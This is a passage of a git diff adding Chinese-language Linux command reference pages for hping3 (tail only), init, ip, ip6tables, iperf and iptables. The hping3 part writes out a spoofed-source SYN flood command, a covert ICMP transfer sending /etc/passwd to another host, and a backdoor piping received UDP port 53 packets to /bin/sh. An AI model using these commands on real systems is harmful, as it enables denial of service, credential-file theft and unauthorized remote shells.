eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。 + +hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 + +#### Idle扫描 + +Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 + +该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 + +#### 拒绝服务攻击 + +使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 + +``` +hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 +``` + +其他攻击如smurf、teardrop、land attack等也很容易构建出来。 + +#### 文件传输 + +Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务: + +``` +hping3 192.168.1.159--listen signature --safe --icmp +``` + +监听ICMP包中的签名,根据签名解析出文件内容。 + +在发送端使用签名打包的ICMP包发送文件: + +``` +hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd +``` + +将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 + +#### 木马功能 + +如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 + +示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。 + +在木马启动端: + +``` +hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh +``` + +在远程控制端: + +``` +echo ls >test.cmd +hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd +``` + +将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。 + +当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 + + + \ No newline at end of file diff --git a/command/init.md b/command/init.md new file mode 100644 index 0000000000..5a3a96541f --- /dev/null +++ b/command/init.md @@ -0,0 +1,50 @@ +init +=== + +init进程是所有Linux进程的父进程 + +## 补充说明 + +**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。 + +### 语法 + +``` +init(选项)(参数) +``` + +### 选项 + +``` +-b:不执行相关脚本而直接进入单用户模式; +-s:切换到单用户模式。 +``` + +### 参数 + +运行等级:指定Linux系统要切换到的运行等级。 + +### 实例 + +几个常用的命令 + +查看系统进程命令:`ps -ef | head` +查看init的配置文件:`more /etc/inittab` +查看系统当前运行的级别:`runlevel` + + **运行级别** + +到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。 + +``` +#0 停机(千万不能把initdefault 设置为0) +#1 单用户模式 +#2 多用户,没有 NFS(和级别3相似,会停止部分服务) +#3 完全多用户模式 +#4 没有用到 +#5 x11(Xwindow) +#6 重新启动(千万不要把initdefault 设置为6) +``` + + + \ No newline at end of file diff --git a/command/ip.md b/command/ip.md new file mode 100644 index 0000000000..5dc7a0dd07 --- /dev/null +++ b/command/ip.md @@ -0,0 +1,95 @@ +ip +=== + +网络配置工具 + +## 补充说明 + +**ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。 + +### 语法 + +``` +ip(选项)(参数) +``` + +### 选项 + +``` +-V:显示指令版本信息; +-s:输出更详细的信息; +-f:强制使用指定的协议族; +-4:指定使用的网络层协议是IPv4协议; +-6:指定使用的网络层协议是IPv6协议; +-0:输出信息每条记录输出一行,即使内容较多也不换行显示; +-r:显示主机时,不使用IP地址,而使用主机的域名。 +``` + +### 参数 + +``` +网络对象:指定要管理的网络对象; +具体操作:对指定的网络对象完成具体操作; +help:显示网络对象支持的操作命令的帮助信息。 +``` + +### 实例 + + **用ip命令显示网络设备的运行状态** + +``` +[root@localhost ~]# ip link list +1: lo: mtu 16436 qdisc noqueue + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 +2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff +3: eth1: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff +``` + + **显示更加详细的设备信息** + +``` +[root@localhost ~]# ip -s link list +1: lo: mtu 16436 qdisc noqueue + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + RX: bytes packets errors dropped overrun mcast + 5082831 56145 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 5082831 56145 0 0 0 0 +2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 3641655380 62027099 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 6155236 89160 0 0 0 0 +3: eth1: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 2562136822 488237847 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 3486617396 9691081 0 0 0 0 +``` + + **显示核心路由表** + +``` +[root@localhost ~]# ip route list +112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130 +10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81 +192.168.0.0/16 via 10.160.15.247 dev eth0 +172.16.0.0/12 via 10.160.15.247 dev eth0 +10.0.0.0/8 via 10.160.15.247 dev eth0 +default via 112.124.15.247 dev eth1 +``` + + **显示邻居表** + +``` +[root@localhost ~]# ip neigh list +112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE +10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE +``` + + + \ No newline at end of file diff --git a/command/ip6tables-restore.md b/command/ip6tables-restore.md new file mode 100644 index 0000000000..29cefd16f1 --- /dev/null +++ b/command/ip6tables-restore.md @@ -0,0 +1,24 @@ +ip6tables-restore +=== + +还原ip6tables表 + +## 补充说明 + +**ip6tables-restore命令** 用来还原ip6tables表。 + +### 语法 + +``` +ip6tables-restore(选项) +``` + +### 选项 + +``` +-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值; +-t:指定要还原的表的名称。 +``` + + + \ No newline at end of file diff --git a/command/ip6tables-save.md b/command/ip6tables-save.md new file mode 100644 index 0000000000..fdea83a254 --- /dev/null +++ b/command/ip6tables-save.md @@ -0,0 +1,24 @@ +ip6tables-save +=== + +保存ip6tables表配置 + +## 补充说明 + +**ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 + +### 语法 + +``` +ip6tables-save(选项) +``` + +### 选项 + +``` +-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值; +-t:指定要保存的表的名称。 +``` + + + \ No newline at end of file diff --git a/command/ip6tables.md b/command/ip6tables.md new file mode 100644 index 0000000000..9ae53d6523 --- /dev/null +++ b/command/ip6tables.md @@ -0,0 +1,206 @@ +ip6tables +=== + +linux中防火墙软件 + +## 补充说明 + +**ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。 + +### 语法 + +``` +ip6tables(选项) +``` + +### 选项 + +``` +-t<表>:指定要操纵的表; +-A:向规则链中添加条目; +-D:从规则链中删除条目; +-i:向规则链中插入条目; +-R:替换规则链中的条目; +-L:显示规则链中已有的条目; +-F:清楚规则链中已有的条目; +-Z:清空规则链中的数据包计算器和字节计数器; +-N:创建新的用户自定义规则链; +-P:定义规则链中的默认目标; +-h:显示帮助信息; +-p:指定要匹配的数据包协议类型; +-s:指定要匹配的数据包源ip地址; +-j<目标>:指定要跳转的目标; +-i<网络接口>:指定数据包进入本机的网络接口; +-o<网络接口>:指定数据包要离开本机所使用的网络接口。 +-c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。 +``` + +### 实例 + +在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置: + +``` +ip6tables -nl --line-numbers +``` + + **/etc/sysconfig/ip6tables文件** + +使用编辑器编辑`/etc/sysconfig/ip6tables`文件: + +``` +vi /etc/sysconfig/ip6tables +``` + +可能会看到下面的默认 ip6tables 规则: + +``` +*filter +:INPUT accept [0:0] +:FORWARD ACCEPT [0:0] +:OUTPUT ACCEPT [0:0] +:RH-Firewall-1-INPUT - [0:0] +-A INPUT -j RH-Firewall-1-INPUT +-A FORWARD -j RH-Firewall-1-INPUT +-A RH-Firewall-1-INPUT -i lo -j ACCEPT +-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT +-A RH-Firewall-1-INPUT -p 50 -j ACCEPT +-A RH-Firewall-1-INPUT -p 51 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT +-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited +COMMIT +``` + +与 IPv4 的 iptables 规则类似,但又不完全相同。 + +要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT +``` + +`-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。 + +要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT +-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT +``` + +同时针对 tcp 和 udp 协议开启 53 端口。 + +要开启 443 端口,在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT +``` + +要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT +``` + +对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行: + +``` +-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited +COMMIT +``` + +改为: + +``` +-A RH-Firewall-1-INPUT -j LOG +-A RH-Firewall-1-INPUT -j DROP +COMMIT +``` + +保存并关闭该文件。然后重新启动 ip6tables 防火墙: + +``` +# service ip6tables restart +``` + +然后重新查看 ip6tables 规则,可以看到如下所示的输出: + +``` +# ip6tables -vnL --line-numbers +``` + +输出示例: + +``` +Chain INPUT (policy ACCEPT 0 packets, 0 bytes) +num pkts bytes target prot opt in out source destination +1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0 +Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) +num pkts bytes target prot opt in out source destination +1 0 0 RH-Firewall-1-INPUT all * * ::/0 ::/0 +Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes) +num pkts bytes target prot opt in out source destination +Chain RH-Firewall-1-INPUT (2 references) +num pkts bytes target prot opt in out source destination +1 6 656 ACCEPT all lo * ::/0 ::/0 +2 37519 2730K ACCEPT icmpv6 * * ::/0 ::/0 +3 0 0 ACCEPT esp * * ::/0 ::/0 +4 0 0 ACCEPT ah * * ::/0 ::/0 +5 413 48385 ACCEPT udp * * ::/0 ff02::fb/128 udp dpt:5353 +6 0 0 ACCEPT udp * * ::/0 ::/0 udp dpt:631 +7 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:631 +8 173 79521 ACCEPT udp * * ::/0 ::/0 udp dpts:32768:61000 +9 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpts:32768:61000 flags:!0x16/0x02 +10 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:22 +11 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:80 +12 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:53 +13 4108 380K ACCEPT udp * * ::/0 ::/0 udp dpt:53 +14 18 4196 REJECT all * * ::/0 ::/0 +``` + + **IPv6 私有 IP** + +IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。 + + **允许特定的 ICMPv6 通信** + +使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。 + +下面是一些比较常见的 ipv6-icmp 配置实例: + +``` +:ICMPv6 - [0:0] +# Approve certain ICMPv6 types and all outgoing ICMPv6 +# http://forum.linode.com/viewtopic.php?p=39840#39840 +-A INPUT -p icmpv6 -j ICMPv6 +-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT +-A ICMPv6 -j RETURN +-A OUTPUT -p icmpv6 -j ACCEPT +``` + + + \ No newline at end of file diff --git a/command/iperf.md b/command/iperf.md new file mode 100644 index 0000000000..daa5c2ca3d --- /dev/null +++ b/command/iperf.md @@ -0,0 +1,399 @@ +iperf +=== + +网络性能测试工具 + +## 补充说明 + +**iperf命令** 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。 + +iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。 + +Linux版本下载地址:http://code.google.com/p/iperf/downloads/list + +### 安装iperf + +对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装: + +``` +gunzip -c iperf-.tar.gz | tar -xvf - +cd iperf- +./configure +make +make install +``` + +### 选项 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有: +'b' = bits/sec 'B' = Bytes/sec +'k' = Kbits/sec 'K' = KBytes/sec +'m' = Mbits/sec 'M' = MBytes/sec +'g' = Gbits/sec 'G' = GBytes/sec +'a' = adaptive bits/sec 'A' = adaptive Bytes/sec +自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 +注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 +服务端:$ iperf -s –V +客户端:$ iperf -c -V +注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows)卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 +例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: +IPTOS_LOWDELAY minimize delay 0x10 +IPTOS_THROUGHPUT maximize throughput 0x08 +IPTOS_RELIABILITY maximize reliability 0x04 +IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽,例如指定的文件。 +$ iperf -c -F
-I (from v1.2 or higher)与-F一样,由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
+ +### 实例 + +带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。 + + **UDP模式** + +服务器端: + +``` +iperf -u -s +``` + +客户端: + +``` +iperf -u -c 192.168.1.1 -b 100M -t 60 +``` + +在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 + +``` +iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60 +``` + +客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。 + +``` +iperf -u -c 192.168.1.1 -b 100M -d -t 60 +``` + +以100M为数据发送速率,进行上下行带宽测试。 + + **TCP模式** + +服务器端: + +``` +iperf -s +``` + +客户端: + +``` +iperf -c 192.168.1.1 -t 60 +``` + +在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 + +``` +iperf -c 192.168.1.1 -P 30 -t 60 +``` + +客户端同时向服务器端发起30个连接线程。 + +``` +iperf -c 192.168.1.1 -d -t 60 +``` + +进行上下行带宽测试。 + + + \ No newline at end of file diff --git a/command/iptables-restore.md b/command/iptables-restore.md new file mode 100644 index 0000000000..98caf12850 --- /dev/null +++ b/command/iptables-restore.md @@ -0,0 +1,32 @@ +iptables-restore +=== + +还原iptables表的配置 + +## 补充说明 + +**iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 + +### 语法 + +``` +iptables-restor(选项) +``` + +### 选项 + +``` +-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; +-t:指定要还原表的名称。 +``` + +### 实例 + +``` +iptables-restor < iptables.bak +``` + +iptables.bak是iptables-save命令所备份的文件。 + + + \ No newline at end of file diff --git a/command/iptables-save.md b/command/iptables-save.md new file mode 100644 index 0000000000..6b680328bf --- /dev/null +++ b/command/iptables-save.md @@ -0,0 +1,43 @@ +iptables-save +=== + +备份iptables的表配置 + +## 补充说明 + +**iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。 + +### 语法 + +``` +iptables-save(选项) +``` + +### 选项 + +``` +-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值; +-t:指定要保存的表的名称。 +``` + +### 实例 + +``` +[root@localhost ~]# iptables-save -t filter > iptables.bak +[root@localhost ~]# cat iptables.bak +# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 +*filter +:INPUT DROP [48113:2690676] +:FORWARD accept [0:0] +:OUTPUT ACCEPT [3381959:1818595115] +-A INPUT -i lo -j ACCEPT +-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT +-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +-A INPUT -p icmp -j ACCEPT +-A OUTPUT -o lo -j ACCEPT +COMMIT +``` + + + \ No newline at end of file diff --git a/command/iptables.md b/command/iptables.md new file mode 100644 index 0000000000..17a51fe1de --- /dev/null +++ b/command/iptables.md @@ -0,0 +1,136 @@ +iptables +=== + +Linux上常用的防火墙软件 + +## 补充说明 + +**iptables命令** 是Linux上常用的防火墙软件,是netfilter项目的一部分。可以直接配置,也可以通过许多前端和图形界面配置。 + +### 语法 + +``` +iptables(选项)(参数) +``` + +### 选项 + +``` +-t<表>:指定要操纵的表; +-A:向规则链中添加条目; +-D:从规则链中删除条目; +-i:向规则链中插入条目; +-R:替换规则链中的条目; +-L:显示规则链中已有的条目; +-F:清楚规则链中已有的条目; +-Z:清空规则链中的数据包计算器和字节计数器; +-N:创建新的用户自定义规则链; +-P:定义规则链中的默认目标; +-h:显示帮助信息; +-p:指定要匹配的数据包协议类型; +-s:指定要匹配的数据包源ip地址; +-j<目标>:指定要跳转的目标; +-i<网络接口>:指定数据包进入本机的网络接口; +-o<网络接口>:指定数据包要离开本机所使用的网络接口。 +``` + + **iptables命令选项输入顺序:** + +``` +iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作 +``` + +表名包括: + +* **raw** :高级功能,如:网址过滤。 +* **mangle** :数据包修改(QOS),用于实现服务质量。 +* **net** :地址转换,用于网关路由器。 +* **filter** :包过滤,用于防火墙规则。 + +规则链名包括: + +* **INPUT链** :处理输入数据包。 +* **OUTPUT链** :处理输出数据包。 +* **PORWARD链** :处理转发数据包。 +* **PREROUTING链** :用于目标地址转换(DNAT)。 +* **POSTOUTING链** :用于源地址转换(SNAT)。 + +动作包括: + +* **accept** :接收数据包。 +* **DROP** :丢弃数据包。 +* **REDIRECT** :重定向、映射、透明代理。 +* **SNAT** :源地址转换。 +* **DNAT** :目标地址转换。 +* **MASQUERADE** :IP伪装(NAT),用于ADSL。 +* **LOG** :日志记录。 + +### 实例 + + **清除已有iptables规则** + +``` +iptables -F +iptables -X +iptables -Z +``` + + **开放指定的端口** + +``` +iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机) +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行 +iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问 +iptables -A INPUT -p tcp --dport 22 -j ACCEPT #允许访问22端口 +iptables -A INPUT -p tcp --dport 80 -j ACCEPT #允许访问80端口 +iptables -A INPUT -p tcp --dport 21 -j ACCEPT #允许ftp服务的21端口 +iptables -A INPUT -p tcp --dport 20 -j ACCEPT #允许FTP服务的20端口 +iptables -A INPUT -j reject #禁止其他未允许的规则访问 +iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问 +``` + + **屏蔽IP** + +``` +iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令 +iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令 +iptables -I INPUT -s 124.45.0.0/16 -j DROP #封IP段即从123.45.0.1到123.45.255.254的命令 +iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45.6.254的命令是 +``` + + **查看已添加的iptables规则** + +``` +iptables -L -n -v +Chain INPUT (policy DROP 48106 packets, 2690K bytes) + pkts bytes target prot opt in out source destination + 5075 589K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 + 191K 90M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 +1499K 133M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 +4364K 6351M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + 6256 327K ACCEPT icmp -- * * 